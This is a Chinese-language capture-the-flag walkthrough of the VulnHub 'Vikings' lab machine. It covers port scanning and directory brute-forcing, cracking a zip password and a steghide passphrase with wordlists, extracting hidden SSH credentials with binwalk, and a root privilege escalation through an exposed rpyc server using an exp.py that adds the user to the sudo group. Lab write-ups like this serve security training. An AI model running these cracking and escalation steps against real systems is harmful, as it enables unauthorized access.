靶机介绍
1)靶机地址:https://download.vulnhub.com/vikings/Vikings.ova
2)靶机难度:低(中)
3)打靶目标: 取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、编码转化/文件还原、离线密码破解、隐写术、二进制文件提取、素数查找/科拉茨猜想、Python代码编写、RPC漏洞提权
5)本地靶机是一个CTF风格的靶机,其中涉及隐写术、数据编码与还原、素数查找和科拉茨猜想等内容。CTF比赛中经常会出现加解密、数学问题、隐写术等方面的考题,这些其实是在真实渗透项目中很少遇到的技术领域
打靶过程
1)主机发现
2)对发现的主机进行全端口扫描- # nmap -p- 192.168.56.116
复制代码
3)对22、80端口进行服务版本扫描- # nmap -p22,80 -sV -sC 192.168.56.116
复制代码
根据上图发现,靶机地址web应用存在一个site站点
4)根据靶机地址:80端口进行web应用访问
①直接通过IP访问,返回页面如下

②访问site站点返回目录如下:访问如下地址时,发现返回页面特别缓慢- http://192.168.56.116/site/
复制代码

③查看页面源代码,发现该页面访问量了一些google等外网的资源,因此访问速度缓慢

5)对站点目录进行路径爬取,针对服务器上可能出现的txt,html,php文件,指定web路径爬取字典文件为common.txt- # gobuster dir -r -u http://192.168.56.116 -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt
复制代码
当爬取到/site站点时,返回了200的状态码,说明在根路径下存在一个site站点
6)继续对上述发现的site站点进行目录爬取- # gobuster dir -r -u http://192.168.56.116/site -x txt,html,php -w /usr/share/seclists/Discovery/Web-Content/common.txt
复制代码
在site路径先爬取发现,存在一个war.txt的文件
7)通过浏览器访问war.txt文件- 浏览器:http://192.168.56.116/site/war.txt
复制代码
访问发现,是一个类似路径的东西
8)通过在浏览器访问,上述发现的路径- 浏览器:http://192.168.56.116/site/war-is-over
复制代码
粗略查看,该路径为base64的编码内容
9)通过cyberchef对base64编码的数据内容进行解码

通过解码后,最开头的PK,可怀疑该文件内容是否为某个文件的头部信息
10)继续通过cyberchef的Entropy模块判断上述内容是否被压缩或者加密

通过检查发现,该内容是被加密或者压缩过的
11)通过Detect File Type检查目标数据到底是什么样的文件类型

通过检查发现,该数据内容是一个zip压缩文件的格式
12)对base64解码后的文件进行保存,并保存为zip格式

13)直接对下载的文件进行解压,但是解压时发现,该zip文件,需要解码密码才能解压

14)对加密的zip压缩文件进行密码破解
①先通过zip2john工具对zip文件进行处理- zip2john download.zip > hash
复制代码 ②准备密码字典- # cp /usr/share/wordlists/rockyou.txt.gz ./
- # gunzip rockyou.txt.gz
复制代码 ③将转化后的hash文件交给john工具进行密码破解- # john hash --wordlist=rockyou.txt
复制代码
通过破解发现密码为ragnarok123,通过之前的信息搜集发现ragnarok为网站首页显示的国家领袖的名字
15)通过密码,对zip文件进行解压,解压发现是一张图片


直接观察图片,没有从图片内容中,获取到任何有价值的信息
16)联想到,图片有可能会涉及到隐写术,通过steghid工具对图片进行查看。steghid工具可以检测当前文件中是否被隐写其他机密的文件,如果探测出了被隐写的文件,还可以对隐藏的数据进行提取
提取图片中隐藏文件时,提示仍然需要输入密码
17)通过编写一个简单的针对隐写数据进行密码破解的shell脚本,对其进行密码破解- # for i in $(cat "rockyou.txt");do steghide extract kong -p $i; done
复制代码 注:因为rockyou.txt密码文件过大,效率会非常低,而且有可能会使得kali主机死机,建议在密码字典小的时候使用(此处不建议)
18)通过二进制编辑的方式,直接将隐写的数据从文件中提取出来。通过binwalk工具对二进制文件进行分析和数据提取
①先通过-B参数进行分析,是否在图片文件中存在其他格式的文件
通过返回结果发现,该图片文件中还包含有一个zip压缩文件,且压缩文件大小为53,解压后文件大小为92,解压后文件名字为user
②通过-e参数将文件中的内容进行提取- # binwalk -e king --run-as=root
复制代码
③进入生成的_king.extracted目录,可查看到被加压后生成的user文件,查看文件类型为文本文件- # cd _king.extracted
- # file user
复制代码
④查看user文件内容为如下内容- # cat user
- //FamousBoatbuilder_floki@vikings
- //f@m0usboatbuilde7
复制代码 可猜测该内容为ssh的用户名和密码,尝试通过用户名和免密登录靶机
19)经过多次尝试后发现,通过用户名floki和密码f@m0usboatbuilde7可以成功的登录到目标靶机- # ssh floki@192.168.56.116
复制代码
21)对当前系统进行信息搜集
在用户文件中,发现了ragner用户,通过前期信息搜集可判断该用户为一个比较重要的用户
22)尝试切换至ragner用户:通过su直接切换或者查看sudo权限都无法切换至ragner用户
23)通过信息搜集,发现在家目录存在readme.txt和boat文件,对其进行阅读- $ cat readme.txt
- $ file boat
- $ cat boat
复制代码
通过boat中的伪代码发现,num为第29个素数(只有本身和1能被其整除),然后对num数字进行一个考拉兹猜想:指对于一个正整数,如果它是奇数,则对它乘3再加1,如果是偶数,则对它除以2,如此循环,最终都能够得到1
24)通过简单的python脚本,输出第29个素数- # cat prime.py
- n = 0
- for x in range(1000):
- if x < 2:
- continue
- h = int(x / 2) + 1
- for i in range(2,h):
- if x % i == 0:
- break
- else:
- n += 1
- print(n, ":",x)
复制代码 脚本运行:第29个素数为109
25)通过编写python脚本计算109生成的考拉兹猜想序列
注:根据前面提示,可打印的字符才是需要的内容,所以计算出来的结果要在ascii字符范围之内- # cat collatz.py
- i = 109
- c = [i]
- while i != 1:
- if i % 2 == 1:
- i = i *3 + 1
- else:
- i = i // 2
- if i < 256:
- c.append(i)
- print(c)
复制代码 运行:- # python collatz.py
- [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
复制代码 26)通过cyberchef工具将ascii字符,转化为10进制字符(Decimal模块)

②从获取到的字符中,挑选出能在键盘上直接打印出的字符(strings)

③将字符转化成一行(find/Replace)

字符如下:mR)|>^/Gky[gz=.F#j5P(
27)通过用户名ragnar密码为mR)|>^/Gky[gz=.F#j5P(进行登录- # ssh ragnar@192.168.56.116
复制代码
显示登录成功,但是登陆后,自动的去执行了一条sudo提权的命令,
补充:Linux系统下要想实现登陆后自动执行某条命令,只需要将命令放置在环境变量文件中即可,如.bashrc、.profile、/etc/profile、.bash_profile
28)通过查看当前目录下的.profile文件,发现该文件中执行了一条sudo命令- $ cat .profile
- sudo python3 /usr/local/bin/rpyc_classic.py
复制代码 29)因当前用户ragnar用户的shell为/bin/sh,不是非常友好,先切换为/bin/bash- $ /bin/bash -i
- ragnar@vikings:~$
复制代码 30)查看rpyc_classic.py脚本文件- $cat /usr/local/bin/rpyc_classic.py
复制代码
该脚本文件引入了一个rpyc库,在之前打靶的过程中,RPM是远程的进程调用,他的作用是在服务端运行一个API的程序接口,在客户端通过代码去连接服务端的接口,然后进行执行服务端的一些函数、指令等。通过XML-RPM的服务端的接口可以进行提权。
在python中也可以实现RPC的效果,在python中的rpyc库,该库可以实现python的远程进程调用的功能
rpyc库帮助文档:https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html
31)查看文件权限:只有root用户具备修改该文件的权限- $ ls -l /usr/local/bin/rpyc_classic.py
复制代码
32)通过客户端编写函数,再将函数提交到服务器去执行的方式,去提权(因该文件属主为root,所以会以root用户去执行该命令)
注:代码编写参考rpyc库帮助文档:https://rpyc.readthedocs.io/en/latest/tutorial/tut1.html- $cat exp.py
- import rpyc
- def shell():
- import os
- os.system("sudo usermod -a -G sudo ragnar")
- conn = rpyc.classic.connect("localhost")
- fn = conn.teleport(shell)
- fn()
复制代码 33)查看目标靶机中rpyc的默认端口18812是否开启
检查发现,目标靶机中rpyc服务器程序是开启的,且监听在本地的18812端口
34)在目标靶机执行exp.py脚本- ragnar@vikings:~$ python3 exp.py
复制代码 35)执行成功后,直接通过用户ragnar用户,ssh登录目标靶机然后进行提权- # ssh ragnar@192.168.56.116
- $/bin/bash
- $sudo -s
复制代码
36)查找flag

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |